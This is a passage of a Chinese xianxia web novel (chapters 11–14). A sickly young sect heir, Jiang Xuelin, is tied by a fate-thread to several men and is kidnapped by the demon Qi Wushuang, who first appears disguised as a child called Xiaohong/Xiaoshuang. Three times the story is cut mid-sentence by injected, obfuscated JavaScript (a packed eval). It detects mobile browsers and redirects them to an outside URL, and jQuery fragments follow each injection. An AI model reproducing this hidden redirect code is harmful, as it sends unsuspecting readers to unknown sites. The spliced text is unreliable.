周围的窃窃私语穿进江雪粼的耳朵里,还没等他弄明白到底发生了什么,那追过来的男人便已经将剑抵在小孩的脖颈间。
“魔头,去死吧哈哈哈哈!”
男人仰天长啸,而后表情阴翳得低头,语气也阴森森的,“今朝你落在我手里,我要将你千刀万剐将你挫骨扬灰,给我的妻儿陪葬!!”
“师兄!”江雪粼一惊,下意识开口呼唤自己信任的对象,裴星垂在他开口的一瞬就将人救下来。
已经疯魔的男人挥舞的剑刺了个空,那个小孩被裴星垂甩出的瞬移符转移到另一边。
男人瞬间将矛头对向他二人。
他的眼睛已经变成不正常的猩红,瞧上去已经理智全无,而被他当作魔族的小孩子那样小,身上即使用了什么伪装,也不可能在这样的情况下不泄露一丝一毫的魔气,想来只是遭了无妄之灾。
那小孩倒也算机灵,滚地一骨碌,借着拥挤的人群在地上翻滚,眨眼功夫就躲到江雪粼身后去了。
裴星垂的剑出鞘,挡住了疯男人的又一次攻击,执法队闻讯而来,压制住了还欲大肆破坏街道建筑的男人。
热闹没得看了,其他人便也逐渐散开去。
江雪粼转过身去看着躲在自己身后的小孩,对他伸出手,“你还好吗?”
“你叫什么名字,家住在哪里?”
他俯下身,整个人被日光和微风所笼罩,道旁栽种着桃花树,落在肩头的花瓣将他的面色映的更加白皙透明。
他的面上无喜无悲,目光中却又带着悲悯,光晕出他的轮廓,叫人有些炫目。
像坐在神龛里普度众生的小菩萨。
小孩看到他之后有些失神。
好漂亮,又好脆弱。
单薄的仿佛一阵风都能将他吹走。
——就是这样的一个人和自己绑定了生死相依的情缘命线。
咚咚,咚咚。
他在震耳欲聋的心跳声中,听到了自己伪装过后变得干涩的声音。
“……我,我叫小霜。”
11.第 11 章
刚刚知道了小孩的名字,蓬莱岛的岛主便来了,他热情洋溢地和江雪粼打招呼,洪亮圆润的声音未语先笑,“哈哈哈……两位贤侄,来了怎么不直接到岛主府?”
“你爹前几日就用玉符给我传了信,叫我照看一下你,你这孩子,到了也不知道说一声。”
蓬莱岛的岛主沈沧海生的一副富态的圆润身材,笑眯眯像一尊胖弥勒。
他不像传统意义上仙风道骨的修士,反而更像一位富甲一方的海上巨贾,和人交往的同时,好似普通的长辈,能够让人不由自主放松下来。
“沈伯伯。”江雪粼和裴星垂一道和他打了声招呼。
江雪粼听起他的问话,笑一笑说到:“您知道的,蓬莱的粉珍珠我娘一直很是喜欢,买了不少准备回去给她做首饰,本打算事情办完之后再来拜访您的。”
“再者,上门做客总要带份薄礼,挑来挑去没寻到满意的,耽搁了不少时间。”
沈沧海眉头一挑,笑呵呵,“我听你爹说他们很快就能出关,到时候老夫再去拜访,定要和贤兄喝个不醉不归。”
他又拍拍江雪粼的肩膀,“好了阿粼,人情往来就交给你爹娘吧。”
他复而又盯着江雪粼上上下下看了个遍,才满意地点头,“不错不错,瞧着比去年精神不少。”
“平日里都注意着修养,谷中大家也多有照顾。”江雪粼眼中盈着笑,“倒是多谢沈伯伯挂念了。”
沈沧海开怀,“好说好说。”
他环顾一周,又问,“你们只带了一人出门?不若现在就和我去府上,好好歇一歇。”
“近年你爹娘闭关,你也不常出门,这次来可要多玩几日再走。”
“多谢沈伯伯好意了。”江雪粼说着,却有些犹豫,他有些为难地低头,看着名为小霜的小孩在那褴褛的衣摆上擦干净手心,而后怯怯地勾住了他的小指,乌黑发亮的眼睛像黑葡萄,叫江雪粼又有些心软。
不为别的,这个小孩还没问清楚他的来历,又为何会被那个发疯的男人盯上。
沈沧海还以为什么事呢,他大手一挥,一锤定音,“府上也不差那一个房间,大不了问完话送走就是,你倒是和你娘一般摸样,见不得人受苦。”
他和江谷主交情不浅,江雪粼也算是他看着长大的,小时候就粉雕玉琢惹人喜欢,长大了还修得了一副菩萨心肠,所幸早早定下了重明一族的小子。
不然,还不晓得会叫哪个丑东西别有心机哄着骗着给拐走了。
买的东西都被收进储物戒,几人一身轻,跟着沈沧海往岛主府去了。
认识沈沧海的人不少,路上都笑着和他打招呼,问起江雪粼一行人,他只笑呵呵,并不做介绍。
江雪粼牵着小霜,和裴星垂还要方风跟在沈沧海身后,走到半道,终于想起自己忘了什么。
镜无漪呢??
“难为小谷主还想着我呢。”柔软的花朵触及脸庞,清甜的裹挟着海风的香气便将人笼罩住。
江雪粼偏过头看去,眼中映出一片月华,那是一朵生长于万年珊瑚玉枝桠间的月誓花,淡蓝色花瓣晶莹剔透呈轻纱状,层层叠叠宛若用月光和海浪雕琢而成。
花朵中心似乎还有细碎的,如同星砂般的银色光点在其间流转。
很是漂亮。
更重要的是,月誓花吃下去能够让人的力量增强,修为能够短暂上升至少两个阶,持续三个时辰。
但这种花一旦离开梦月海的范围,无论用什么方式保存,也很快就会枯萎。
所以这花只在蓬莱和周边小仙岛上能见到,珍贵却又不会让人升起争夺的念头。
镜无漪将这个找来做什么?
江雪粼满是疑惑,总不能是要送给自己想让他增长实力的吧?
这个比起其他法器仙草丹药,好像起到的作用大不到哪里去。
“鲜花配美人。”镜无漪眯着眼,又将花递近几分,“阿粼,喜欢吗?”
他这是什么态度?
江雪粼撩眼对上镜无漪带着期待的表情,还是伸手接过镜无漪怼过来的花。
斟酌半晌,他开口说:“殿下,情缘线我和师兄会想办法解除的,我也会保护好自己,毕竟谁也不想去赌生死相依到底会到哪种程度,不是吗?”
“防身的东西我的储物戒里也还有很多,殿下便不必费心去找这些……”
他没将后面那句中看不中用说出来,免得镜无漪恼羞成怒。
镜无漪见他接过花还有些高兴,但下一瞬听到他说的话,露出了一种很牙疼的表情。
他看着江雪粼,一言难尽,“你就想和我说这个,没有别的要和我说了吗?”
不然呢?
江雪粼露出疑惑的表情,像是不明白他为什么要这样问。
“我就白瞎送这花给你。”镜无漪又不高兴了,一甩袖子大步走到前面和沈沧海交谈去了。
“仙长,月誓花有着表达心意相通的含义,在蓬莱岛上,一般都是送给心上人的。”镜无漪甩脸走开之后,小霜睁大眼睛,一脸单纯的模样,“那个大哥哥是喜欢仙长吗?”
江雪粼沉默,被一条大蟒蛇喜欢……
他赶紧把这个可能甩出脑海,那种可怕的事情还是不要了。
“应该只是看中了月誓花的功效吧,可能觉得我太弱了。”江雪粼嘀咕的话语被人听了个彻底,他又低头,十分认真地说,“我的未婚夫也在这里,小孩子还是不要乱讲话,小心海怪把你抓走吃掉。”
小霜配合地露出战战兢兢的表情,实则牵牵嘴角,眼底闪过暗芒。
未婚夫……
他来之前倒是调查过这个四象谷少主,外人只道他体弱多病,很少有人知道他和自己的师兄有婚约。
重明一族还真舍得这么一个天骄,去给个病秧子当童养夫。
小霜心中讥讽,目光却又不自觉落在江雪粼的脸上。
骨相是美的,皮囊也绝无仅有。
造物主仿佛独独偏爱他一人,用美为他砌筑法身。
他仿佛就是高坐瑶台之上的小菩萨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132152|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
就要被他们这些恶心的,粘腻的,阴暗扭曲的怪物拉下神坛。
小霜的目光又落在走在路上前面的镜无漪身上。
又一个。
和自己一样的,与面前这个漂亮病弱的美人命运相连,暂时无法分割的人。
戚无霜抬着头,不算抬头用这副小孩子的身体仰头去看牵着自己的小菩萨。
小菩萨啊,小菩萨。
如此软心肠,如此不识恶鬼心。
掌心里的温度带着些微凉意,指腹和掌心没有一丝一毫的茧子,纤细修长,好看的不像话。
寻常修士,或习剑,或炼丹,又或是画符炼器,手上总会留些薄茧,但江雪粼不一样,他的手很软,很白。
像极了戚无霜曾经在深山里挣扎求生命悬一线时见过的兰花,就那样在幽暗的月光下,带着浅淡的香,扰的人心尖痒。
江雪粼不知道他在想什么,只是走一走就要低头看看他有没有出现不适的情况。
裴星垂本想带着小霜,这样来历不明还目的明确朝着他们而来的人,即使只是个孩子,也不能掉以轻心。
但江雪粼看着那双眼睛便很是心软,那个名叫小霜的孩子也紧紧攥着他的手不愿意放开。
裴星垂只能皱着眉,一路都在提防。
好在他的担忧似乎只是杞人忧天,一直到岛主府,小霜都没露出异常。
岛主府是一座倚着主峰灵脉、半嵌山腹的古朴院落。
远望只见青瓦白墙,掩映在雾松与紫玉竹林中,门庭甚至有些刻意的不起眼,与沈沧海这个人的富态形象也不太符合。
往年四象谷主和蓬莱岛主多有走动,府上也为四象谷来客留着常住的院落。
江雪粼让几个童子先去院里候着,又想把小霜交给了府上的护卫。
这孩子却怎么说也不愿松开江雪粼的手,把他闹得没法。
“小霜,你不愿意和他们走吗?”江雪粼蹲下来,对上这孩子黝黑的眼,“你的家在哪里,让他们送你回去好不好?”
小霜不说话,面上的泪水已经被擦去,也早没了被那个疯男人追赶时的狼狈,只是依旧沉默,执拗地盯着江雪粼。
或许是有什么难言之隐,又或是家中已无父无母。
这个想法叫江雪粼变得有些不知所措,只能抬头,用水盈盈的眼看向站在一旁的师兄,“…师兄。”
裴星垂冷着脸把小霜衣领一抓,直接把人哑穴一点,然后扔给护卫,再挡住江雪粼的视线揽住他的腰,不让他去看挣扎起来的小霜,“好了阿粼,走吧,沈伯伯在等着我们呢,小霜会有人照看的。”
这一连串动作看的人叹为观止,镜无漪似笑非笑地瞥一眼小霜,而后从他面前走过,跟着江雪粼他们去了。
小霜的眼神暗下去,意识到江雪粼不会再回头,他直勾勾盯着人离开的方向,直到再也看不见他们的踪影。
然后才低头一口咬在对他毫无防备的护卫手上,趁人吃痛,挣扎着下地,一溜烟跑没了踪影。
12.第 12 章
身后发生的小插曲江雪粼一概不知,他此时正和沈沧海还有师兄镜无漪坐在会客厅里。
周围被下了隔绝探查的结界,几人才安心谈事。
沈沧海见多识广,江平眷此前也和他说了江雪粼身上绑定的法器出问题一事,还说请他帮忙看看。
江雪粼抬起手催动灵力,赤色丝线便显露出来,颤动着,另外两端延伸出去,不出沈沧海所料,一根绑定在裴星垂身上,一根则绑在镜无漪身上去了。
除此之外,沈沧海还留意到有另外几条命线若隐若现,分别朝向其他方向。
到了他这样的高修为,其实已经隐约能够感应到天地法则。
而这条链接几人的情缘线,上面有着浓厚的赐福。
因果相连,法则深重。
“沈伯伯,您见多识广,可知晓是否有解法?”既然已经到了蓬莱岛,不管怎么样也可以问问万一就找到应该怎么解除的办法了呢。
江雪粼眉间带着忧愁,他确实在担忧这件法器带来的危害。
妖域和四象谷的关系还算不错,但即便如此,镜无漪身边依旧有知道这件事情之后就想对江雪粼痛下杀手的属下。
这还只是其中之一,若是其他人心中所想也是除掉江雪粼呢?
那又该怎么办?
永寿同心,生死相依。
谁能忍受自己的身家性命和一个素未谋面素不相识的人绑定在一起?
更何况,这条命线与江雪粼而言,是最有利的。
即使裴星垂不说,但江雪粼脑海中也有个模糊的概念,能够续命的东西,肯定要付出代价。
“之前我们尝试将其解除,成功了。”裴星垂将话头接过去,面上情绪难辨,“可是一息之间,丝线又将阿粼和镜无漪殿下绑定在了一起。”
“甚至,作为主导解除仪式的我,也遭到非常严重的反噬。”
沈沧海的眉心随着他们的话语越皱越紧。
裴星垂怕他不信,吞了枚调息丹就又向他演示了一遍,和上次别无二致,解开的丝线很快缠上来。
江雪粼没有任何不适,裴星垂和镜无漪都有些气息不稳。
沈沧海摸着下巴,在脑海中回想自己这些年见过的法器。
绑定他们的倒不像是法器了,而是法则依托法器存在,一但牵连,再也无法解除。
又或许能够解除,但需要付出难以预估的代价。
一时间,书房内倒是安静下来,能听见外面潮浪拍打礁石的声音。
镜无漪一直没说话,就好像解不解除绑定他都不关心。
谁也不知道他心中所想。
只是他的目光一直落在江雪粼身上,看着人嘴巴张张合合,说话时带起的气息也是甜腻腻的。
皱眉,垂眼,纤细浓密的眼睫像振翅的蝴蝶。
裴星垂不着痕迹地挡住江雪粼,镜无漪坐直身,不耐烦地轻啧一声。
真是叫人生厌的恶心东西。
这只丑八怪重明是在向他挑衅宣战吗?
江雪粼发现了身旁人的动静,有些好笑,还没等他开口,沉默许久的沈沧海就打断了他想要出口的话。
“此事你们或许还是应当去一趟千机阁。”沈沧海摸摸自己并不存在的胡子,“我能感受到绑定你们的法器上面存在的因果法则太过复杂,抱歉,我并不是特别擅长解决这些事情。”
“姻缘线一类的法器在修真界也并非罕见,但大多都是为了确保道侣不离心,有助修为增长的,这样能够续命的还是少见。”
“虽然老夫也懂些卜算,但比起温不言那老家伙,还是略逊一筹。”沈沧海看着面前的三个年轻人,想也知道他们之间肯定会纠缠不休,只能轻咳一声,“去到千机阁之后,除去查看法器,叫他也给你们算一卦吧。”
“不过说起卜算推演,那还当是太上忘宗的人最为拿手,若是能请得仙盟首座天衡君为你们算算,那才叫好。”沈沧海笑呵呵,却又兀自摇头,“只是天衡君已是渡劫,半步飞升,越发行踪不定,就连太上忘宗的人也不知晓他在哪里。”
沈沧海道了声可惜,又说:“不过既然这件法器不去动它,便对性命无虞,你们就当出来游历了吧。”
“歇两日,感受感受蓬莱岛的风土人情再走。”
“谢谢沈伯伯。”江雪粼弯弯眼睛,“那我们就不打扰了,有什么需要我就和伯伯说的。”
“好,玩去吧。”沈沧海豪气地给他们扔了个储物袋,里面装有三十万灵石。
察觉到几人还想推辞,沈沧海一挥手,三人便站在门外了,“出门在外,把自己照顾精细些,这些伯伯给的你们也别还回来了,走吧走吧,我忙着呢,不见客了。”
江雪粼心中好笑,看着裴星垂,将储物袋放进男人手里,“师兄拿着吧。”
“时候也已经不早,我想先回去休息,殿下,你觉得呢?”江雪粼转头看向走在自己另一边的镜无漪,“若是你还有什么事情,可以交代给护卫们。”
镜无漪吊儿郎当地打个哈欠,“我也无事可做,休息一下好了。”
他盯着江雪粼,“别殿下殿下的叫了,哪有那么多规矩,叫我名字就好了。”
江雪粼唔唔一声,没说听不听。
裴星垂轻拍一下江雪粼的肩膀,“走吧阿粼,好歹也是一界少主,他应该能自己照看好自己的。”
“今日多有劳累,你快先去歇息。”
江雪粼小鸡啄米似的点头,“嗯嗯。”
三人还没走回歇息的院落,护院就找上门来了。
那护院抱拳行礼,“江少谷主,此前您拜托我们照看的小孩跑走了,兄弟们在府中找了许久都没寻到,不知是去了何处。”
“抱歉。”
“是不是小孩子贪玩,跑去藏起来了?”江雪粼猜测,但想到小霜波澜不惊,年少老成的模样,又觉得这种游戏或许并非他会玩的。
果然,护卫下一句话就打消了他的念头,“并未,他趁着在下没有防备,将我咬了一口跑了,属下手上还留着未褪的牙印。”
他将手拿出来给三人看过,确实有着一圈印子。
江雪粼无言以对,难道小霜是觉得害怕才躲起来的?
他眉心折起,“向岛主上禀过吗?”
“府中已经全员戒备。”护卫点着头如此解释,“近来魔族异动,为防
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137491|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
止魔族奸细混入其中,岛上有所防范,府外也有加派人手寻找。”
府上这么多的护卫没有一个人找到半点修为也无的小孩子,很显然对方八//九不离十是什么东西伪装的。
江雪粼更想皱眉了,想着那个孩子澄澈清亮的眼睛,有些不愿相信他是那丑恶的魔族伪装的。
“如此便不打扰几位贵客,若是有消息,我等会来禀告。”护卫说着便要告辞。
裴星垂颔首,“辛苦了,此事因我们而起,稍后我会来和你们一起。”
“阿粼,我送你先回去,随后去瞧瞧到底是怎么回事。”护卫离开之后,裴星垂低头看向接下来,然后抬手摸摸他的头,“我很快回来。”
“裴首席忙去吧。”镜无漪挑眉,语气完全看不出挑衅意味,但裴星垂完全不觉得他这么好心,“皎皎少谷主就让我送回去罢,那几个童子修为一般高,你也不想阿粼遇到危险,不是吗?”
虽然并不想镜无漪和江雪粼多有接触,但他也还记得前不久发生的刺杀。
现在有镜无漪在一旁保护,江雪粼的安危能有更多的保障。
如此情形,裴星垂也不便说什么。
他又看向接下来,好好叮嘱一番,又叫了几个护卫跟着一起,送着江雪粼回了房间里,看着几个童子将他迎进去,端茶倒水,嘘寒问暖。
还将早已经备好的灵食拿出来供他品用。
镜无漪没进去,抱着手靠在外面的红漆木栏杆上,仔细警惕着周围。
一切如常,他的耳朵动了动,听见屋内江雪粼和童子说话的声音。
江雪粼确实有些困乏了,今日在外面走动,桩桩件件,都耗费心神,用过膳食之后没一会便昏昏欲睡。
“方风,我歇下了,师兄若是回来,你和他说说。”江雪粼撑着困意走到床边,躺下之后没多久呼吸就变的绵长平稳起来。
方风等人悄声退出去,没离开,候在门口,以便江雪粼醒来方便呼唤他们。
早先说着自己也想休息的镜无漪并没有回去为他准备的房间,而是一跃而起,做了那梁上君子,扒开一片琉璃瓦,能够瞧见屋内隐隐绰绰的模样。
不知道江雪粼身上用的什么香,凡是他经过的地方总会留下这种气味,镜无漪揉揉鼻子,尽量克制着才没露出什么丑态来。
微风拂面,日头正好,镜无漪将琉璃瓦盖回去,双手抱住后脑顺势在屋顶上躺下,听着屋内清浅的呼吸声,嘴角勾着笑,也在一片花香之中合上眼闭目养神。
-
江雪粼不知道自己睡了多久,醒来时屋内的光变的暗沉沉,早没了白日里清透的感觉,他的脑袋也有些睡太久导致的昏沉。
师兄还没回来吗,方风他们怎么没来叫醒自己?
江雪粼头也晕,身子也软,强撑着坐起来,柔软如同云层的发顺着肩滑下,堆叠在床上。
他揉揉眉心,瞧见床幔外面站着人,会是师兄吗?
“师兄?”江雪粼试探着呼唤,那道身形一动,一只手撩开青竹色纱幔,露出后面一张陌生的脸来。
江雪粼晕倒前看到的最后颜色是一片白。
白发白瞳,冷漠至极。
13.第 13 章
所以事情是怎么发展到这种地步的?
江雪粼再次睁开眼,自己已经换了个地方。
他身上的储物戒被收走,所有法器也被摘去,能联络师兄的玉符也不知道被扔去哪里。
身上只穿了一件能驱寒的法衣,怀中抱着一块千年暖玉。
但是冷,很冷。
冷的刺骨。
江雪粼从小到大身上的所有东西都被刻录了特殊的符文,是为保护他性命无虞。
他是那样脆弱,一阵风来都会让他生场大病。
那些宝器上的符文能够以他为核心,汲取周遭的灵力运转着为他温养身体。
但是现在,他久违的感受到了冷。
随之而来的,是细细密密的疼,喉咙里泛着铁锈般的腥气。
有些难受。
他哆嗦着抱着暖玉坐起身,打量着周遭的环境。
这是一处山洞,打理的很干净,但也太干净了,除了他身下的暖玉床和身上盖着的软被,其他什么也没有,他之前身上的东西也不知道被弄到哪里去了。
外面似乎在下雨,湿气很重,隐约还能听见潮浪拍壁的声音。
难道他还在蓬莱境内?
他记得自己晕倒之前见到的那个人,白发白眼,只依稀能看出一点小霜的影子,所以那个小孩果然还是别人伪装而成的吗?
至于为什么要绑架他,江雪粼自己也不觉得意外了,十之八//九是因为永寿同心情缘线了。
他幽幽叹一口气,没有鞋子他更不敢下地,只是不下去就无法探查周围情况。
戚无霜进来的时候,见到的就是这样的场景。
被他安置在暖玉床上的美人已经醒过来,从被子里探出来又缩回去,反反复复好几次,都没狠下心踩在地板上。
美人有着一双漂亮如琉璃般的绿眼睛,春日漫天桃花的发,眉眼如山如水。
那柔顺的头发散着,身上只着月牙白衣袍,上绣云纹,光线流转时泛起一层水波似的微光,映的人气色也更好起来。
这处被戚无霜选择的洞府虽还在蓬莱境内,但远离人群,若是有不知情的人闯进来瞧见坐在暖玉上的美人,许是还以为自己撞见了什么山野精怪。
戚无霜无端端牵了一下嘴角,四象谷的这位小少主,倒是比想象中还要娇气。
他做事向来谨慎,将人带走的时候,把人身上那些法衣宝器全都留在了岛主府上,把人掳走路程才行至一半,人就呢喃着冷。
戚无霜从小到大吃过不少苦头,踏上修炼之路后更是以疼痛淬炼身上的魔骨,加之他是冰灵根,即使再冷也受的住。
但江雪粼似乎不行,只是一点风,就让他冷的发颤。
戚无霜只能在自己的储物戒里翻找,运气还算不错,找到两块暖玉。
又翻出一件法衣给人披上,怀中人颤抖的幅度才小一些。
真可怜,因着身骨弱,修炼也变得格外艰难,如今不过筑基,又被摘了身上的法器,倒是瞧着与那凡尘界的凡人没什么区别了。
也显得那么的任人宰割。
他哪里知道,江雪粼身上所有的服装首饰,全都是特殊定制的,为了保护他性命无忧。
戚无霜又怕怀中人真的会出什么好歹,只能给江雪粼传些灵力,保护着他,但从小精细养着的小少主哪里是这点灵力和可怜巴巴两块暖玉能暖起来的?
戚无霜身上更是和寒冰一般,叫昏迷的江雪粼下意识往外面爬,想要离这个冰坨子远一些。
只是很快又被抓回来,但戚无霜好歹也知道自己被嫌弃了,他沉吟片刻,在这附近布下结界,留下一些勉强能保暖的东西给江雪粼,然后自己回魔域把打劫几个魔王得来的天材地宝全都带过来了。
戚无霜在蓬莱岛江雪粼他们休息的屋子里散下的迷香不重,但不知为何这位江小少主一直不曾醒来。
他一开始察觉自己被迫和人绑定了命线,当日就窥见有关自己未来的预言——
他会为了一个病秧子,堕入红尘,甚至甘愿自损修为。
何其可笑。
戚无霜是非常罕见的天魔种,但他是人魔混血。
他的生母是被上一任魔尊胁迫的,逃出来不久魔族就因为魔尊陨落变得混乱,而他的生母也发现自己怀孕,再之后,无论用什么办法也流不掉这个孩子,她生下戚无霜这个孽种之后就将他扔到深山中让他自生自灭。
哈。
上天有好生之德,没叫戚无霜死在阴暗潮湿的山林里。
他被一只狼叼回族群养大,直到后来他踏上修仙之路,离开了那座深山。
修行本就逆天,而想要飞升的魔族尤甚。
更遑论对魔根厌恶极深的戚无霜选择了修真界正统修习之术,必要遭受比常人放大一万倍的疼痛。
但是不愧是天魔种,短短百年,他便成了魔族之中绝无仅有的大乘期修士。
一个天魔种逆反根骨修炼到这种地步,付出的惨痛代价令人难以想象。
而一条虚无缥缈的预言,居然说他以后会为了一个如今和自己毫不相干的人舍弃自己好不容易修炼起来的修为。
愚蠢。
愚蠢至极。
以戚无霜大乘期的修为,他完全能够将情缘线斩断。
但是这线古怪的很,斩断之后又缠上来,还让他不止一次受到重创。
修身养性之时,却又能通过这条线,感受到另一端的画面。
浅绿的眼眸干净又漂亮,没有半分杂质,有着这样一双眼睛的人还有着一张无辜纯真的脸。
只是那画面恍若雾里看花,根本看不真切。
戚无霜只知道他与自己一般同样是混血,只是另一半血统不是人人喊打的魔族血脉,而是桃妖一族。
他也确实如同寻常桃妖族那般,好似枝头的三月春,却又比其他桃妖族更引人注目。
身上的幽香也总是似有若无地传过来,叫戚无霜总静不下心。
魔族的地盘有一个洞天,里面长着天然寒冰,他回去之后经常在那里修炼,但清浅的桃香总扰的人心烦意乱。
这根奇怪的命线将他二人的命运连接在一起,戚无霜厌恶这样受制于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143427|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人的感觉。
魔族之中本就混乱无比,他为了尽快抽身,只能以雷霆手段将魔族镇压,才抽出空来寻人。
他要找到扰人心神的桃妖,找到私自绑定命线的家伙,然后杀了他。
只是当他真切见到人之后,他的念头动摇了,这样心软心善又漂亮的小菩萨,或许应该活的更久一些。
只是他身边的跟屁虫实在讨厌,戚无霜心想,那就把他带走,带到其他人找不到的地方。
这种姻缘类的命线是爱侣之间才会绑定的东西,所以戚无霜同意了。
-
江雪粼当然注意到了走进来的男人,白发白瞳,好似隆冬的厚雪,随着他的靠近,这里越发冷了。
他学过不少术法,各种攻击招式一个接一个朝着戚无霜招呼,但此刻在这个人面前,江雪粼的那些小把戏不过螳臂当车,不值一提。
他没从疑似假扮小霜的男人身上感受到杀意,也或许是因为对方如同高山上的雪一般,太冷,即使有杀意,江雪粼在这冷的要命的环境下,也无法做出再多反应了。
“少谷主,久仰。”男人走近些,将一双兔绒锦鞋放到江雪粼脚边,然后退到距离暖玉床五步之遥的位置便不再动作。
只是话家常似的说着叙旧的话,但配上他冷的宛若北域冰川未化雪般的脸,这在常人口中无比寻常的寒暄便显得那样的诡异。
江雪粼满头雾水,眼中还带着警惕,迟疑着问,“小霜,你是小霜吧?”
“在此之前,我们有在哪里见过面吗?你为什么绑架我?”
还是说,自己的名头已经到外面的人都知晓的地步了?
不应该吧。
江雪粼不断产生怀疑。
戚无霜撩起眼,低沉冷静的声音好似秋日的风,这还已经是他努力放柔声音的效果。
“我名戚无霜,一介…散修。”
“或许少谷主可以告知我,这是什么吗?”
他抬起手,那双手骨节分明,随着衣袖上拉,小指指节显露出来,那一截催动灵力才会显现的丝线就那样出现在江雪粼的眼前。
江雪粼差点心脏骤停,虽然早已经知晓对方是为这件事而来,但真到了这种时候,他总有种莫名的心虚感。
还没等他开口说话,就见戚无霜一抬手,他身边就出现了不少好东西。
朱雀羽衣、六合暖玉炉、四季珠、燧人灯……
全是能够让江雪粼不再感受到寒意的法器,另一边堆放着丹药,也都是同样的功效。
除此之外,还有各种符篆宝器,攻击类的,防御类的,多的让江雪粼都会说一句财大气粗的程度。
这人到底想做什么?
江雪粼抿唇,又抬眼试图看出戚无霜到底在想什么,但无果,只能绷着脸开口问:“戚无霜道友,你到底要做什么?”
男人同样面无表情,气息也不曾有过分毫动摇,只是居高临下地站在江雪粼面前,凝视着他。
而后歪着头,用一种像是在说今天天气真好的语气开口说道:“杀了你。”
江雪粼:!
14.第 14 章
“杀了你。”
戚无霜说出了这样的话,但他说完之后又拿着火石在洞府之中生起火,方才还让江雪粼遍体生寒的洞中暖意遍生。
江雪粼没有在对方身上察觉到杀意,他看着席地而坐的戚无霜,斟酌着开口,“戚道友,若是因着情缘线的缘故,你放我离开吧。”
“我与师兄此次离开四象谷,便是为寻找解除情缘线的办法,越过梦月海就能抵达千机阁,用不了多少时间的。”
“我们是去拜访阁主的,他一定有办法让我们解除绑定,若是不放心,你可以随我们一同前去,你看这样如何?”
戚无霜没什么反应,他冷冰冰的脸上也看不出有什么表情变化,江雪粼心中打鼓,也不知道对方心中所想。
他这点修为,在戚无霜眼中也是不够看的,只能耐心等着对方的回答。
戚无霜也不知道有没有听到他说的话,手中已经烤起了鱼。
火光高高蹿起,鱼油滋啦啦响着,戚无霜抬手,撒了些香粉,空气中弥漫着烤鱼香气。
江雪粼得不到回答,只能撑着头发呆,看人烤鱼,想着想着就想到自己的师兄,还有跟在自己身边的童子们,自己失踪肯定叫他们很着急。
倏尔,眼前冒出一条烤鱼,只见戚无霜不知何时已经将鱼烤好,递到他面前来了。
江雪粼半晌没有动作,戚无霜又歪着头看他,“没有毒。”
“……”江雪粼腹中空空,到底还是将烤鱼接过来,意外的味道居然还不错。
戚无霜只烤了一条鱼,然后就盯着江雪粼吃东西。
被他看着江雪粼才后知后觉,戚无霜肯定修为不低,不然也不可能在岛主府上将自己带走,还躲开了镜无漪。
要知道镜无漪已是元婴修为,戚无霜的修为难道更高?
江雪粼咬着鱼,慢吞吞想着,目光飘忽着落在戚无霜身上。
但是岛主府上戒备森严,这人到底是怎么将自己带走的呢?
“不行。”戚无霜撑着头,突然撩起眼对上江雪粼看过来的视线,突然说到,“我不会放你离开。”
“情缘线是爱侣之间会绑定的东西,既然无法解除,我会对你负责。”戚无霜说的一脸认真,就像两人已经认识许久,已经到了谈婚论嫁的地步。
谁能想到他们认识才不过一日?
戚无霜说这些话并非随口胡说,而是经过他深思熟虑的,狼对于伴侣一心一意,有着绝对的忠诚。
年轻狼成熟后会脱离族群寻找伴侣。
戚无霜被狼养大,更多的习性也偏向狼群。
他也已经成熟,是时候找一个伴侣了。
“你在说笑吗?”江雪粼微微一怔,脑海中一片空白,手中的鱼没拿稳掉下去,被戚无霜接住。
江雪粼睁大眼睛,完全不明白他们这些人为什么都要说这样的话,镜无漪之前也说过……
“你是在说笑吧?”江雪粼心跳到嗓子眼了,偏过头去不看戚无霜明明冰冷却让他浑身上下都热起来的目光,脸烧的绯红,有些发烫。
江雪粼揉揉自己的脸,伸出手想把靠近的人往外推,语气也带上气恼,连道友也不想喊了,“戚无霜,我是有未婚夫的。”
“你喜欢他?”戚无霜被江雪粼推着脸,心想着,这小谷主力气还挺大。
只是他的一些想法并非和常人一般,抓住江雪粼的手腕,脑袋又向着这桃花妖凑近一些,雪一样的眼睛盯着人一直看,显露出野兽般的行径,在江雪粼身上嗅来嗅去。
同在洞中,难免会沾上烟火和烤鱼的气息,但戚无霜却能嗅到这之下更清丽浅淡的香。
江雪粼下意识后仰,却被一只强而有力的手揽住腰无法再退后半点。
“……我感受不到。”戚无霜的声音很平稳,带着凉意的呼吸喷撒在江雪粼的脖颈,带着一阵痒意,让他手臂难免起了一层细细密密的小疙瘩。
“你谈起他的时候,只是依赖,信任,没有爱欲…”
